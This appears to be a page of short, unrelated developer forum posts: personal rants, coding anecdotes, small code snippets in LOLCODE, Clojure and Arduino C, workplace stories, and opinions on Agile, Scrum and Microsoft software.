I think it’s about time for me to slowly retire from programming and software as a whole or switch to notepad because I don’t want to use this crap anymore.
Looks like software is now meant for entertainment and distraction instead of doing actual work where you need precise data and information.
Luckily if everything goes good I can retire soon and throw everything away for a while.3 -
Back in grammar school we started programming in TI-Basic on a TI89 Titanium as it was part of math class (calculus and geometry). I didn't really understand much because the teacher thought it was a great idea to start with recursively calculating GCD (and we were in a sort of "linguist profile", nobody had ever touched a line of code in their lives before). I still liked it though and by some coincidence I got an old Win95 compaq notebook to play with from a friend.
I started playing around with the CMD prompt and batch files and could apply some of the things I had learned on the TI, like GOTO or If statements. I still didn't know what I was doing of course, and so it happened that I used the > file pipe when trying to compare two values. Suddenly there was a file with some code fragments and I started to get what I had done. I put the file pipe into an endless GOTO loop and was amused how those few lines filled up the whole desktop with nonsense files. I went on to refine this a little so I could control it with another file that acted as a kill switch when present. Over the next weeks I played some more with it and made it write out and start another batch file that would check whether the original script was still there and recreate it if not.
That notebook was so large and heavy I could not bring it to school, so I wrote all code by hand on paper and typed it in when I got home, that way I could still code in class when I was bored and no one would notice.
So my first ever "program" that I wrote myself was some lousy malware.5 -
!Rant
I bought a Samsung Galaxy S7 Edge from my cousin for $450. I then proceeded to root it and everything was fine for a week or so before my phone went into an infinite boot loop after an OTA update.
In the process of trying to fix it, I accidentally flashed a bootloader, unaware that Samsung has the bootloader locked. As a result, I had a completely bricked phone.
I mean legit bricked. No buttons with work and the screen remained shut and I couldn't flash anything over it again to try to repair it. I couldn't even put the phone into recovery mode. I now had the world's most expensive paperweight.
However, I managed to convince Samsung to repair it for me for free! I told them that the phone just stopped responding after an OTA update from them, which isn't so far from the truth.
I only ever had to flash things on the phone to begin with because of their update. Honestly, I wouldn't has had to deal with this problem, and neither would Samsung, if they just didn't lock the damn bootloader! Why are these companies taking away are independent control of our own devices?
Moral of the story: DON'T flash over a locked bootloader EVER or you will end up with a completely brick device, with no solution other than to open it up and replace the motherboard entirely.12 -
I am a manager of an entry-level employee who share with another manager. Our shared employee, let’s call her “Jane,” is terrific — a hard worker, very smart, quick, and organized. Jane has been with us over two years and we would like to promote her, something she’s clearly earned, but our progress has been stalled by the pandemic. And though we’re working to push the promotion forward as quickly as possible, with budget cuts to contend with, this has been slower and more difficult than expected.
Meanwhile, Jane has shared with our team (including my boss, her grandboss) that she’s interested in returning to school for graduate study but was not sure when she’d want to attend. However, later Jane confidentially asked me to write her a recommendation letter to include in an application for study beginning this fall. I happily agreed and we discussed that she didn’t want this shared more widely, so I wrote the letter and kept it to myself. A few weeks ago, Jane texted me that she’d been accepted to grad school. I was thrilled for her but concerned about her departure. She stated that it was her intention to defer until 2021 due to the pandemic. We love Jane and I’m happy to have her as long as she’d like to stay, and again kept it to myself per her wishes.
Today, to my surprise, my boss called my attention to a tweet that Jane had shared, publicly on her personal account, announcing that she’d been accepted to grad school. My boss was blindsided since she didn’t think of this as an immediate plan and was particularly upset because HER boss (my grandboss and Jane’s great-grandboss, our president) was the one who saw it and alerted her of it. What’s worse is that my boss’s boss has been the one doing the hard work in negotiating Jane’s promotion with HR. Worse worse, after sharing this development, my co-manager (who shares management of Jane with me) revealed that she too had learned of Jane’s acceptance on Twitter. For the record, this tweet is about 10 days old at this point — time for Jane to have made a plan to speak directly and openly about it at work if she chose to.
I’m all for private use of social media and the right to have an online presence that is separate from your work. However, this puts me in an embarrassing position. I was honest with my boss when confronted, confessing that I did know about her acceptance and had provided a reference, but I can’t help but feel a little taken advantage of after Jane had asked me to keep it confidential. Additionally, her other boss heard of this news on social media and so did people above her who are gunning for her promotion — valued coworkers of mine and superiors of Jane who now feel disrespected for being out of the loop. I do not believe that Jane’s attendance at or deferment from grad school should affect her eligibility for a promotion, but it will surely be another hurdle to overcome among many other pandemic-related ones now that the news is out in this manner.
Extra notes: 1) Jane has previously announced 10-day vacations on Instagram (plane tickets booked) before asking for the time off. 2) Jane runs our company social media channels, so people look at her personal ones with scrutiny.
I feel compelled to speak with Jane in a friendly but direct way to explain that it’s her choice how or with whom she’d like to share her news, but that social media is not the place for bosses, grandbosses, or great-grandbosses should discover employment-altering news. Ever, really, but particularly when we’re working hard for her promotion. How can I do this without overstepping? Am I overstepping?8 -
I know I’ll get mixed views for this one...
So I’ll state my claim. I agree with the philosophy of uncle bob, I also feel like he is the high level language - older version of myself personality wise.. (when I learned about uncle bob I was like this guy is just like me but not low level haha).
Anyway.. I don’t agree with everything because I think he thinks or atleast I get the vibe he thinks everything can be solved by OOP, and high level languages. This is probably where Bob and I disagree. Personally I don’t touch ruby, python and java and “those” with a 10 foot pole.
Does he make valid arguments, yes, is agile the solve all solution no.. but agile ideas do come natural and respond faster the feedback loop of product development is much smaller and the managers and clients and customers can “see things” sooner than purly waterfall.. I mean agile is the natural approach of disciplined engineers....waterfall is and was developed because the market was flooded with undisciplined engineers and continues to flood, agile is great for them but only if they are skilled in what they are doing and see the bigger picture of the forest thru the trees.. which is the entire point of waterfall, to see the forest.. the end goal... now I’m not saying agile you only see a branch of a single tree of the forest.. but too often young engineers, and beginners jump on agile because it’s “trendy” or “everyone’s doing it” or whatever the fuck reason. The point is they do it but only focus on the immediate use case, needs and deliverables due next week.
What’s wrong with that?? Well an undisciplined engineer doing agile (no I’m not talking damn scrum shit and all that marketing bullshit).. pure true agile.
They will write code for the need due next week, but they won’t realize that hmm I will have the need 3 months from now for some feature that needs to connect to this, so I better design this code with that future feature in mind...
The disciplined engineer would do that. That is why waterfall exists so ideally the big picture is painted before hand.
The undisciplined engineer will then be frustrated in the future when he has to act like the cool aid man thru the hard pre mature architectural boundaries he created and now needs links or connections that are now needed.
Does moving to agile fix that hell no.. because the undisciplined engineer is still undisciplined.
One could argue the project manager or scrum secretary... (yes scrum secretary I said that right).. is suppose to organize and create and order the features with the future in mind etc...
Bullshit ..soo basically your saying the scrum kid is suppose to be the disciplined engineer to have foresight into realizing future features and making requirements and task now that cover those things? No!
1 scrum bitch focuses too much on pleasing “stake holders” especially taken literally in start ups where the non technical idiots are too involved with the engineering team and the scrum bastard tries to ass kiss and get everything organized and tasks working so the non technical person can see pretty things work.
Scrum master is a gate keeper and is not needed and actually hinders the whole process of making a undisciplined engineer into a disciplined engineer, makes the undisciplined engineer into a “forever” code grunt... filling weekly orders of story points unable to see the forest until it’s over because the forest isn’t show to the grunt only the scrum keeper knows the big picture..... this is bad this is why waterfall is needed.
Waterfall has its own problems, But that’s another story for another day..
ANYWAY... soooo where were we ....
Ahh yess....
Clean code..
Is it a good book, yes.. does uncle bobs personality show thru the book .. yes lol.
If you know uncle bob you will understand what I just did with this post lol. I had to tangent ( at least mine was related to the topic) ...
I agree with the principles of the book, I don’t agree with the extreme view point. It’s like religion there’s the modest folks and then there are the extremists. Well he’s the preacher of the cult and he’s on the extreme side.. but that doesn’t mean he’s wrong.. many things he nails... he just hits the nail thru the wall just a bit.
OOP languages are not the solution... high level languages do not solve everything.. pininciples and concepts can be used across the board and prove valuable.. just don’t hold everything up like the 10 commandments of which you cannot deviate from.. that’s the difference here I think..
Good book, just don’t take it as the Bible as a beginner, actually infact DONT read this book as a beginner. Wait a bit learn then reflect by reading this.15 -
i have been browsing trough my gists and this is what I have found.
HAI
HOW DUZ I PRINTSMILE
VISIBLE "SMILEZ!"!
IF U SAY SO
HOW DUZ I PRINTSMILEZ NUMBERZ
I HAS A SMILEZLINE ITZ ""
IM IN YR LOOP NERFIN YR NUMBERZ WHILE NUMBERZ BIGGR THAN 0
SMILEZLINE R SMOOSH SMILEZLINE AN "SMILEZ!" MKAY
IM OUTTA YR LOOP
VISIBLE SMILEZLINE
IF U SAY SO
VISIBLE "O HAI! NOT MY WERK! LOL!:):)DIS WAY CUZ I LIEK SMOOSH:)"
I HAS A COUNTER ITZ 3
IM IN YR LOOP NERFIN YR COUNTER WHILE COUNTER BIGGR THAN 0
PRINTSMILEZ COUNTER
IM OUTTA YR LOOP
VISIBLE ":)N DIS WAY CUZ QUESTION. LOL!:)"
COUNTER R 3
IM IN YR LOOP NERFIN YR COUNTER WHILE COUNTER BIGGR THAN 0
I HAS A UDDERCOUNTER ITZ COUNTER
IM IN YR INNERLOOP NERFIN YR UDDERCOUNTER WHILE UDDERCOUNTER BIGGR THAN 0
PRINTSMILE
IM OUTTA YR INNERLOOP
VISIBLE ":)"!
IM OUTTA YR LOOP
VISIBLE ":)LOLOLOLOLOLOLOLOLOLOLOLOL!:):)KTHXBYE"
KTHXBYE9 -
I am on a mission to go thru all the of bibliographies of all the books I have, and create a checklist of the books I have and don’t have, and continue to buy all the books in that list, add to the list for each new book I buy that references another book. UNTIL! The day I have a closed loop reference. to essentially “in this room all the books that each book references may also be found in this room, if the book isn’t in this room no other book references it.”13
-
If PyTorch > Tensorflow:
print("True")
Output:
True
True
True
True
......
......
.....
True
Wait a minute? Is this a While True loop?
Doesn't look like an if condition xD3 -
Today I learnt that I'm much more productive if I get a constant loop of feedback on my tickets and stuff. Feels better that way.
Edit: I'm working with a new coworker from QA and she's more responsive than the others. I get my feedback fast and timely and this makes it way easier to work7 -
wk48 best question:
My go to question for dev interviews is how do you find all prime numbers from 2 to x because there's so much room for optimisation.
Start with the basics, loop over every number and check if it's divisible by any number less than it, then record the prime numbers and check only those, then move to something like the sieve of eratosthenes then reduce the problem space and only iterate through 2 to sqrt(x)5 -
I work for an investment wank. Worked for a few. The classic setup - it's like something out of a museum, and they HATE engineers. You are only of value if work on the trade floor close to the money.
They treat software engineering like it's data entry. For the local roles they demand x number of years experience, but almost all roles are outsourced, and they take literally ANYONE the agency offers. Most of them can't even write a for loop. They don't know what recursion is.
If you put in a tech test, the agency cries to a PMO, who calls you a bully, and hires the clueless intern. An intern or two is great, if they have passion, but you don't want a whole department staffed by interns, especially ones who make clear they only took this job for the money. Literally takes 100 people to change a lightbulb. More meetings and bullshit than development.
The Head of Engineering worked with Cobol, can't write code, has no idea what anyone does, hates Agile, hates JIRA. Clueless, bitter, insecure dinosaur. In no position to know who to hire or what developers should be doing. Randomly deletes tickets and epics from JIRA in spite, then screams about deadlines.
Testing is the same in all 3 environments - Dev, SIT, and UAT. They have literally deployment instructions they run in all 3 - that is their "testing". The Head of Engineering doesn't believe test automation is possible.
They literally don't have architects. Literally no form of technical leadership whatsoever. Just screaming PMOs and lots of intern devs.
PMO full of lots of BAs refuses to use JIRA. Doesn't think it is its job to talk to the clients. Does nothing really except demands 2 hour phone calls every day which ALL developers and testers must attend to get shouted at. No screenshare. Just pure chaos. No system. Not Agile. Not Waterfall. Just spam the shit out of you, literally 2,000 emails a day, then scream if one task was missed.
Developers, PMO, everyone spends ALL day in Zoom. Zoom call after call. Almost no code is ever written. Whatever code is written is so bad. No design patterns. Hardcoded to death. Then when a new feature comes in that should take the day, it takes these unskilled devs 6 months, with PMO screaming like a banshee, demanding literally 12 hours days and weekends.
Everything on spreadsheets. Every JIRA ticket is copy pasted to Excel and emailed around, though Excel can do this.
The DevOps team doesn't know how to use Jenkins or GitHub.
You are not allowed to use NoSQL database because it is high risk.2 -
Ever since i learned terraform i cannot go back. I cant fucking use the ui anymore. This shit is too good. 1 command to create all bullshit and 1 command to destroy all bullshit. Fantastic. Misconfigured shit? Just fix it in a file and 1 command to update it. Perfect. Need to add more shit? Add more lines and 1 command to update. Shitastic. Instead of misconfiguring bullshit or forgetting to delete some shit manually i can simply just do it all 1 command no errors
HOWEVER i noticed sometimes even terraform gets fucked up with bullshit. When im destroying my infra it infinitely says destroying. As if its stuck in that loop. No idea why. So i have to manually destroy the bullshit and then run destroy a fww more times till it works5 -
today i learned that adding to innerhtml using a loop is so much slower than adding to a variable and writing it once.
sometimes i wonder if i were happier as a professional programmer. and then i experience this which means my family would be living under a bridge in no time.11 -
TL;DR: TIL for heavy queries use PDO and not some frameworks DB class
ffs I was trying to save 300k+ lines at once with Laravel for weeks. Mind you from a text file. 1gb ram on the vps so while trying to prepare the text to save: Fatal Error: Allowed Memory Size of bla bla Bytes Exhausted
ok so lets put it in a loop: Fatal error: Maximum execution time of 30 seconds exceeded (set_time_limit(0); lol)
optimising, varying the code got me into a situation when the content got saved in the BD but inconsistent (duplicates) and the table had often more than 1,5M rows. That was what told me its not a performance issue, my code is the issue. (dah)
I was starting to think it would be easier to export a prepared query to a sql file and load the file into the db as thats the fastest possible option...I even started to think about switching to python, then it hit me, Laravel has a shitload of routes to the DB so I switched to PDO
benchmark on 1vCPU, 1GB RAM VPS with SSD
379k lines with 11 columns in less than 10 sec with a loop of saving every ~6000 rows (if i tried choking it to save the whole thing at once it went up to 16-17sec)2 -
It was the last year of high school.
We had to submit our final CS homework, so it gets reviewed by someone from the ministry of education and grade it. (think of it as GPA or whatever that is in your country).
Now being me, I really didn’t do much during the whole year, All I did was learning more about C#, more about SQL, and learn from the OGs like thenewboston, derek banas, and of course kudvenkat. (Plus more)
The homework was a C# webform website of whatever theme you like (mostly a web store) that uses MS Access as DB and a C# web service in SOAP. (Don’t ask.)
Part 1/2:
Months have passed, and only had 2 days left to deadline, with nothing on my hand but website sketches, sample projects for ideas, and table schematics.
I went ahead and started to work on it, for 48 hours STRAIGHT.
No breaks, barely ate, family visited and I barely noticed, I was just disconnected from reality.
48 hours passed and finished the project, I was quite satisfied with my it, I followed the right standards from encrypting passwords to verifying emails to implementing SQL queries without the risk of SQL injection, while everyone else followed foot as the teacher taught with plain text passwords and… do I need to continue? You know what I mean here.
Anyway, I went ahead and was like, Ok, lets do one last test run, And proceeded into deleting an Item from my webstore (it was something similar to shopify).
I refreshed. Nothing. Blank page. Just nothing. Nothing is working, at all.
Went ahead to debug almost everywhere, nothing, I’ve gone mad, like REALLY mad and almost lose it, then an hour later of failed debugging attempts I decided to rewrite the whole project from scratch from rebuilding the db, to rewriting the client/backend code and ui, and whatever works just go with it.
Then I noticed a loop block that was going infinite.
NEVER WAIT FOR A DATABASE TO HAVE MINIMUM NUMBER OF ROWS, ALWAYS ASSUME THAT IT HAS NO VALUES. (and if your CPU is 100%, its an infinite loop, a hard lesson learned)
The issue was that I requested 4 or more items from a table, and if it was less it would just loop.
So I went ahead, fixed that and went to sleep.
Part 2/2:
The day has come, the guy from the ministry came in and started reviewing each one of the students homeworks, and of course, some of the projects crashed last minute and straight up stopped working, it's like watching people burning alive.
My turn was up, he came and sat next to me and was like:
Him: Alright make me an account with an email of asd@123.com with a password 123456
Me: … that won't work, got a real email?
Him: What do you mean?
Me: I implemented an email verification system.
Him: … ok … just show me the website.
Me: Alright as you can see here first of all I used mailgun service on a .tk domain in order to send verification emails you know like every single website does, encrypted passwords etc… As you can see this website allows you to sign up as a customer or as a merc…
Him: Good job.
He stood up and moved on.
YOU MOTHERFUCKER.
I WENT THROUGH HELL IN THE PAST 48 HOURS.
AND YOU JUST SAT THERE FOR A MINUTE AND GAVE UP ON REVIEWING MY ENTIRE MASTERPIECE? GO SWIM IN A POOL FULL OF BURNING OIL YOU COUNTLESS PIECE OF SHIT
I got 100/100 in the end, and I kinda feel like shit for going thought all that trouble for just one minute of project review, but hey at least it helped me practice common standards.2 -
This rant is about myself and anyone whos like me: using logs over a debugger
So, sometimes when I wanna quick check something or make sure, if and when something get's executed or I've ran into a Problem, I add a few log/print statements to check in console.
But I don't think about proper and helpful messages, since they aren't supposed to stay in code. So I often type what comes in my mind, like memes or song lyrics.
The last time this became a huge act, was Code review/ Prototype demonstration with Clients (which I didn't knew about, otherwise I would have removed them, I swear) and Boss and my Code printed "show bob and va...", "send nudes" and stuff... in loop... to stdout2 -
WTF if you want to program stuff learn how to use your programming language. Why is it so hard for that many people to learn how stuff works and stop copying blindly from the internet?
I have two colleagues who are doing nothing else that to just google their problems going to the first answer and cooping it then trying to run the program and if it doesn’t work ether give up completely or starting a loop of inserting the error message to google and copy the first result?3 -
TLDR; College group projects suck, not because the work, but the people in your group will make or break you. Fuck having 1 week to do this assignment.
Sometimes working with other students on group projects is great, they actually know how to create a merge a git branch. I've had a decent partner once during my 3 years at university so far. This last project takes the cake on idiots I've worked with...so far at least... It was me and two others, we'll call them Thing1 and Thing2 for now. Anyway so the 3 of us had a week to implement a very rudimentary Invoice system; fine, easy enough. We divided up the work and 'started'.
All seemed to be going well, no complaints or cries for help all week. Until 4 hours before we submit the assignment; Thing 1 sends me a DM saying all of Thing 1's work is useless full of bugs and just shouldn't be integrated with the rest of the code. Umm fine? I guess? wtf?! why did this have to come out last minute?! We could have explained to Thing 1 what's going on and gotten him/her up to speed on everything. Believe it or not, I was sorta ok with this? I mean thing 1 hadn't pushed anything to the repo yet. I mean literally nada, Thing 1 is a collaborator on the repo that has contributed nothing. Seeing as how Thing 1 was contributing nothing I had already started to cover our ass a began Thing 1's work.
That's not even what's pissed me off... at least thing 1 had the gall to message me to say "idk..wtf is going on...continue without me". Thing 2 arguably made my time with the project worse. His code was nothing but garbage...every time...literally spent more time deciphering his incoherent bullshit more than I did rewriting his mess. I shit you not he wrote out this method, and tells the group he's "finally got it fixed and working":
public static float updateTotal(float newValue)
{
total = updateTotal(newValue);
return total;
}
How tf did he test this to see if its working?! I'm a novice and can already see the infinite loop here. You called your method within that method's own definition, what did you expect to happen.
I managed to get things 75% working and turned in 5 mins before the cut off.
Thankfully Thing 1 emailed the Proff as well, hopefully he won't tank my grade too bad. I'm so glad to be done with this assignment, fingers crossed there's no more group work.4 -
My past 16hours activities
Woke up > destroyed a healthy running environment while trying to setup dual monitor on my manjaro kde > found out the nvidia driver was the culprit the whole the > the whole thing was a PITA > reinstalled the kde with windows dual boot > did the previous task 4/5 times till I felt satisfied ( call be a dumb but it is what it is ) > and now after wasting the whole fucking day I am setting up the environment finally.
Still I'm not sure if I'll be able to finish this shit before 4 am in the morning . It's now 1.26 AM .
Life is an interesting loop of hell .4 -
Ok so I'm taking a developer survey, and since this is the best community of devs I know I'm taking it here first. This is for research purposes attempting to draw parallels between thing such as favorite language and favorite editor, tabs vs spaces and years of development experience, etc.
If you would be so kind as to help me out I will post my findings here once I've collected enough data. Anyone that inputs a valid email address will also be kept in the loop.
Thanks! Here's the link!
https://goo.gl/forms/...14 -
!rant
Recently I started to be interested in how code actually work. I do a for-loop or an if-statement but how do they actually work at the lowest level.
Another thing I've been interested in is security. I thought about learning how to hack my own systems in order to learn how to write more secure code and keep people out. But I'm a little afraid that as soon as I start look at how to hack, the police will storm through the window and take my computer 😂😂8 -
(fn [n]
(loop [cnt 2 out [1 1]]
(if (>= cnt n)
out
(recur (inc cnt) (conj out (+ (first (reverse out)) (second (reverse out)))))
)
)
)
Clojure and Lisp have something of so beautiful... I don't know what it is, but is magical.1 -
The worst of Agile and Sc(r)um: All those people knowing the right way(™) to do it. Endless discussion about useless tooling: the proper use of the custom workflow in Jira, on when and how to create sub tickets. The hour-less meta-discussions on what should be discussed where and when (what's subject of the backlog refinement, retro, etc), the roles: the PO's, what he should do, cannot, the PM's. Who is allowed to pull a ticket to the sprint or not. How many reviewers need to acknowledge a pull request. To and fro. Pointless, but fought with heart and blood, full of sound and fury, signifying nothing.
And everywhere I hear: "In my previous company, we did Scrum like.. and it worked perfectly!"
Some of you might remember my rants on Mr. Gitmaster, with whom I thought I'd made my peace. Guess what? He's now a team member and turning into Mr. Agile - a more severe reincarnation! As our company starts flogging that dead horse of Agility, he seems to feel strong tailwind. Our team lead would constantly cut his monologues, but he's now on holiday, so we have no escape from the never ending: "In my previous company..."
If it was so great, why didn't you stay?
We are not allowed to pull a ticket to the sprint unless every team member is notified? I don't fucking care. If our software fails on customer's machines and I can fix it, I will do if there is a ticket, if it's in the sprint or not. Screw Scrum, if it is getting in the way of it. You can waste your hours discussing horseshit, I want to sit at my desk, deep in the test-compile loop and ship some fucking code.3 -
How to spend more time writing docs then code?
15m = doc
1m = code
<code>
/* Motor DC + Mosfet IRF520 + Servo
Materials:
IRF520 (Mosfet) + Dc motor + Batery (3V min)
diode (1N4007?)
Changed Tip122 for IRF520: Tip122 has less resistance and produces more heat
Hardware:
ARDUINO = A(port , 5V , GND)
MOSFET = M(A[port] , + , GND)
MOTOR = MOTOR(+ , -)
BATERIA = BAT(+ , -)
DIODO = D(sinal_1 , sinal_2)
MOSFET
M(port) = A(port)
M(+) = D(sinal_1) AND MOTOR(+)
M(GND) = A(GND)
D(sinal_2) = B(+) AND MOTOR(-)
ARDUINO
A(port) = M(port)
5V = null
A(GND) = M(GND) AND BAT(-)
*/
#define motorPIN 8 // A(port)
int loopy = 0; // Loop variable to limit de program
void setup()
{
// Initialize the motor pin as an output:
pinMode(motorPIN, OUTPUT);
}
void loop() // 1 loop == 100ms
{
if (loopy < 10) // Turns motor ON for 1 second
{
digitalWrite(motorPIN, HIGH);
}
else // Turns motor OFF
{
digitalWrite(motorPIN, LOW);
}
}
</code>22 -
After a lot of work, the new factorization algorithm has a search space thats the factorial of (log(log(n))**2) from what it looks like.
But thats outerloop type stuff. Subgraph search (inner loop) doesn't appear to need to do any factor testing above about 97, so its all trivial factors for sequence analysis, but I haven't explored the parameter space for improvements.
It converts finding the factors of a semiprime into a sequence search on a modulus related to
OIS sequence A143975 a(n) = floor(n*(n+3)/3)
and returns a number m such that n=pq, m%p == 0||(p*i), but m%q != 0||(q*k)
where i and k are respective multiples of p and q.
This is similar in principal to earlier work where I discovered that if i = p/2, where n=p*q then
r = (abs(((((n)-(9**i)-9)+1))-((((9**i)-(n)-9)-2)))-n+1+1)
yielding a new number r that shared p as a factor with n, but is coprime with n for q, meaning you now had a third number that you could use, sharing only one non-trivial factor with n, that you could use to triangulate or suss out the factors of n.
The problem with that variation on modular exponentiation, as @hitko discovered,
was that if q was greater than about 3^p, the abs in the formula messes the whole thing up. He wrote an improvement but I didn't undertsand his code enough to use it at the time. The other thing was that you had to know p/2 beforehand to find r and I never did find a way to get at r without p/2
This doesn't have that problem, though I won't play stupid and pretend not to know that a search space of (log(log(n))**2)! isn't an enormous improvement over state of the art,
unless I'm misunderstanding.
I haven't posted the full details here, or sequence generation code, but when I'm more confident in what my eyes are seeing, and I've tested thoroughly to understand what I'm looking at, I'll post some code.
hitko's post I mentioned earlier is in this thread here:
https://devrant.com/rants/5632235/...2 -
About 14 hours. From 10 AM to 12 PM.
It was a difficult problem on one of those algorithm practice websites, which I just couldn't let go of. I spent most of the time trying to micro-optimize and do the same (wrong) thing in different ways.
The next day, I managed to finish the problem in 2 hours using a different approach.
I learned a bunch of things from this:
- Algorithm analysis matters.
- If you spend too much time on a problem without taking longer breaks, you get stuck in a loop repeating the same mistakes.
- A fresh mind is significantly more productive and creative. Take a break, think about other things and let go of that mental baggage, you'll be surprised. -
I get amazed almost every work day by how buggy the File Explorer is in Windows 11.
Actually, it's the whole Microsoft experience, that never worked for me. Most products are not at all intuitive (e.g. Google Sheet UX > Microsoft Excel UX), some other products shouldn't even be released (e.g. I've tried Loop, which is supposed to be a Notion clone, but it's more like a cheap demo).
I really need to start insisting about Linux, so my employer allows me an installation (or at least they could provide a Mac, if Linux doesn't cut it)4 -
I've been having a tough time at work recently. I've been struggling with what I have become and what I want to do.
My voice used to carry quite a bit of weight, but as of late I'm no longer being kept in the loop of changes that are happening to my product.
Realizing that I'm slowing being phased out was like a punch to the scrotum. It has made me depressingly aware of the time I have wasted on this company.
All while I was wallowing in my own self-pity, as if on command, Youtube spit this gem out to me. It made me realize that I'm still that bright eyed eager developer just a bit older and a bit wiser. It reminded me of something that I thought I lost, but what I've always had.
https://youtu.be/cNbnef_eXBM
What we do is an art, it takes years of dedication and study to hone our skills. Don't let the bastards get you down, and just like Bowie said -- Never play to the gallery.
You got this. -
!dev
1. It's one of those few times in life that listening to Lq's Numb doesn't make me feel less anxious. Or Somewhere I Belong. Either way, anxiety levels are on all time high.
2. I have completely lost appetite. Usually at this point in time I'd go to doctor and ask for Xanax or something similar, to chill for a few days. But covid. I ain't going to any clinic, plus, ain't nobody got time for that.
3. On top of everything, I am also PMSing. The lack of energy, times n. (n>10)
4. Struggling to get out of bed for hours is now a reality.
5. I'm glad ("glad" is exaggeration tho) this will pass in a few weeks. I am hanging on to that hope and experience tells me it will pass. But my feelings are like "nah, we doomed. Let's just run away. Or just sleep until it all passes or we die of starvation."
6. My brain must work for the next few days. If I have to push it by drowning it in sugar, I will. But I'm also obese rn. Well, I guess it's "Hello diabetes!".
7. My hands and feet are cold. Like, freezing cold. Meanwhile, the rest of me is sweating. This sucks. Ngl.
8. I feel like I'm fighting a losing battle. Like, those last stabby stabs moments in a battle where you know you're gonna fall down soon. I know this feeling of doom and gloom is PMS related, but it's there. I have no solution for that aside from nicotine and sugar.
9. I can't even cry. Which is sad.
... Do you see what's happening there? That's the loop I'm in.5 -
FUCK YOU PYTHON. Why you do that to me, uh?
I was using a CNN to classify hand poses and the prediction was not working at all, one class was given 100% all the time. After much investigation, I found the culprit... A FUCKING INDENT was messing my data. Normalization was inside the loop and not outside, so my pixel values were wayyyyy too small...
Also, I'm really dumb, I should have started with making sure everything was right before trying to fiddle with my architecture..
Anyway, it is working now, you can it out here if you want! https://github.com/MrEliptik/...13 -
Quick background:I'm am a student at a university in Alabama. I am also working full time and have a family.
My beginning C++ class was online and the teacher was...unique to say politely.
She would post lectures while she did some of the programming examples. That wasn't so bad, except she would cough frequently in the lecture(which wearing headphones would make me jump), and the tempo of her lecture would lull me to sleep after a hard day at work.
What was worse, she would post "projects" for us to do and tell us she would give a guideline in the code.
Well most times what was asked for in the project was topics we hadn't covered fully or she never explained well. Her "guide" was randomly saying a loop should be here and an if and an else should go here, but nothing else would be referenced.
Dropped her the first time, got a Day the second because I just could not follow her lecturing. I later took the class physically and with a different instructor and had the highest grade in the class.
I later had her for web development course and she wasn't as bad on assignments, but damn her coughing still hurt.2 -
I was tinkering around with my linux installation and trying to decide on a new terminal to use, and I ended up compiling st (suckless terminal). On a whim, I decided to look through the source code and see how much of it I would understand.
There was a C header file called arg.h that uses the preprocessor and macros to parse argument flags and songs by setting up a switch statement in a loop, all in under 50 LoC. To use it, just wrap the switch body between ARGBEGIN and ARGEND, and that's it. The comment at the top simply read "copy me if you can", a challenge to future programmers such as myself.
It was the most beautiful, elegant solution I have ever seen. I tried to tell my girlfriend about it, but she just didn't get it. Maybe some of you will appreciate it more:
https://github.com/chjj/st/... -
Basic concepts, patterns, and pitfalls of software, code, and programming logic become MORE important, not LESS with the rise of LLMs...
An LLM can more or less spit out what you need -if you are specific enough! "Specific enough" being the key phrase here. I always have to laugh at the term "prompt engineering"... it's literally called "communication skills". Also gotta laugh when I see so many haters always raging about the "poor code" produced by AI, because they are probably like "write me a for loop!", specify absolutely no requirements or specifics, and scratch their heads on why they don't get the exact output they expect... news flash, there's like a million ways to do anything you want to accomplish with code... sigh
Code is just a by product of thousands of architecture decisions, designs and options...
but, well... rubes gon' rube1 -
Just happened 4 days ago.
I was writing a thesis and at the same time creating a tool which automates my measurements.
It was written in Python and everything worked very well.
Of course I left it to my advisor for further measurement, telling him that if he want to measure multiple times he just need to loop over the measure-function.
I left him an example-file which looked a little like this:
example.py:
"""
import measurement_class
# Parameters
if __name__ "__main__":
m_class = measurement_class.coordinator(#Parameters)
m_class.measure(#someotherparameters)
"""
So after a few weeks I came back to my advisor (four days ago) to see this:
loop_over.py:
"""
import os
for _ in range(0,100):
os.system("python3 example.py")
"""
I'm not sure how I should feel about it...2 -
Someone just explain me why. I really can't figure other reason that beeing too lazy to think a condition while writing a "while loop".
At university, a colleague asked me what i think of his code. I see something like that:
while ( 1 ){
...
if (condition)
break;
...
}
Am I a fucking genius thinking that just moving condition into while will improve readability, or am i a fucking stupid ? Really not the first time seeing this, maybe i am missing something.4 -
!rant
So I have bought a new laptop and this time instead of straight up booting linux I had an idea of giving micro$oft a try, so I have decided to use only their services for 2 weeks.
To be honest, I really did not expect windows to use do much cpu and hdd during updates and background tasks, but after a day it was ok and windows feels snappier than during my last encounrer (maybe cause the new hw?).
I was even so dedicated that I started to use cortana and I have to tell, that she is dumb as fuck, since she fails to understand even the basic tasks and if u want something advanced, she refers to the next update. But boy, tell her to open Visual Studio and she asks if you want VS Code or Visual Studio, which seems great. But my response was 'Code' then she insisted that I said Coke. Im like OK, Im not native english speaker, lets try Visual Studio Code, where she told me that there is no such thing and Spelling VS - Code ended me in bing search for Unesco :/
I really want to like Cortana, she has nice name, nice history, but she is like that A girl from class, who looks gorgeous, has great voice, but then u reallise that she just eats a book before exam and after that she is that dumb basic hoe.
I also gave a shot to Bing and Edge. Bing is something between Google and DuckDuckGo, since it gives you a liiitle less results from search history, yet if you want to find something in different language its even possible to tell you that what are you trying to find does not exist.
But I have to tell, that I like Edge and I mean it. Like... Its fast and has some good features, like pushing all your open tavs away, so you can open them Later. It also does not have that stupid ass feature that lets you control tab from left to right, not by chronological order, so you wont end up in infinity loop of 2 tabs. And even if people make fun of M$ trying to convince you to use Edge by being too aggresive. God go on edge and try to use some Google Service(You still dont use chrome?!).
I also tried to play with .Net core and I have to tell that against java they are a bit further. I liked some small features, but what I just simply loved was rhe fucking documentation. You basically dont need google, sincw they give you examples and explain in a human way.
What I didnt quite get was the 'big' Visual Studio. Tje dark theme to me feels strange(personal and irrelevant). Why the hell I do need to press 2 shortcuts to duplicate line?! Why is it so hard to find a plugin to give me back my coloured brackets and why the fuck it takes like a second to Cut one line of code on a damn i7?!
Visual studio Code was something different. It shows how dark theme should be done, the plugin market is full of stuff and the damn shortcuts are not made for octopi. So I have to recommend it ^^.
I even gave a shot to word and office as a whole and fuck I never knew that there are so many templates. It really made my life easier, since all you need to do is find the right one in the app, instead of browsing templates online, where half of them are for another version of your text editor.
Android Launcher was fast, had a clever widget of notes and the sync was pretty handy to be honest so I liked that one as well.
What made me furious was using the CLI. Godfucking damn what the fuck is ipconfig?! :/
